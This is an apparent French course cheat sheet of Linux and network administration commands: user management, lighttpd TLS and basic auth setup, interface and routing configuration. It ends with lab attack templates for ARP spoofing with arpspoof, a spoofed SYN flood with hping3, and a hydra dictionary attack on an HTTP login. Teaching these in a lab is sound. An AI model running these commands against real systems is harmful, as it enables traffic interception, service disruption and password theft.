

Gestion des utilisateurs

Gestion des utilisateurs	Gestion du système
passwd <login>	hostname <name>
adduser <login>	reboot
login <login>	

Sécurisation du serveur web grâce à SSL/TLS

Génération des certificats du site	Configuration du site web
mkdir /etc/lighttpd/conf-enabled/ /etc/lighttpd/security	ls.conf server.modules += ("mod_openssl") \$SERVER["socket"] == "0.0.0.0:443" { ssl.engine = "enable" ssl.pemfile = "/etc/lighttpd/security/alcest.pem" }
cd /etc/lighttpd/security	echo "<username>:\$(busybox httpd -m '<password>') <auth file>"
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 \ -nodes -out alcest.crt -keyout alcest.key	server.modules += ("mod_auth", "mod_authn_file") auth.backend = "htpasswd" auth.backend.htpasswd.userfile = "/etc/lighttpd/security/alcest.auth" auth.require = ("/" => ("method" => "basic", "realm" => "password required", "require" => "valid-user"))
openssl x509 -in alcest.crt -text	systemctl start lighttpd

Sécurisation du serveur web grâce à SSL/TLS (cont)

cat alcest.key alcest.crt > alcest.pem	systemctl status lighttpd
	poweroff

Administration de réseaux locaux

Configuration dynamique	Configuration Statique	Mise en place d'un serveur web
ifconfig	/etc/network/interfaces auto eth0 iface eth0 inet static address 192.168.0.1 netmask 255.255.255.0 gateway 192.168.0.254	startx

ifconfig -a	ifup eth0	busybox httpd -f -vv -h /var/www/html
-------------	-----------	---------------------------------------

ifconfig <iface> @IP <netmask>	ifdown eth0	/etc/hosts
--------------------------------	-------------	------------

ifconfig <iface> up	echo 1 > /proc/sys/net/ipv4/ip_forward
---------------------	--

ifconfig <iface> down

ip -br addr

ip addr add <@IP>/<netmask> dev <iface>

ip link set <iface> up

ip link set <iface> down

route -n

route add default gw <@IP passerelle>

route del default gw <@IP passerelle>

ip route

ip route add default via <@IP passerelle>

ip route del default via <@IP passerelle>

Administration de réseaux locaux (cont)

route add -net <@IP réseau> netmask <netmask> gw <@IP passerelle>

ip route add <@IP réseau>/<netmask> via <@IP passerelle>
--

ssh <login>@<destination>

traceroute <destination>

ping

Man In The Middle

Le protocole ARP

arp -n

ip neigh

arpspoof -t <@IP machine qui va se faire pwned> <@IP machine dont on souhaite usurper l'identité>

wireshark -i eth0 -k

echo "':<username>:\$(busybox httpd -m '<password>') > /etc/httpd.conf
--

busybox httpd -f -vv -h /var/www/html -r "Restricted Area:" -c /etc/httpd.conf
--

Deny Of Service

Attaque

hping3 --flood --syn --spooof <@IP source usurpée> <@IP victime>
--

Réseau étendu

Création du réseau	Attaque par dictionnaire
--------------------	--------------------------

/sbin/ifconfig	most <file>
----------------	-------------

/mnt/nett-a/apps/vnet/nemuvnet	hydra -V -f -l admin -P <fichier de mots de passe>
--------------------------------	--

http-get://<IP nightwish de l'autre groupe>

netadm

[nemu]-> slink()

[nemu]-> clink('<@IP du groupe principal>')

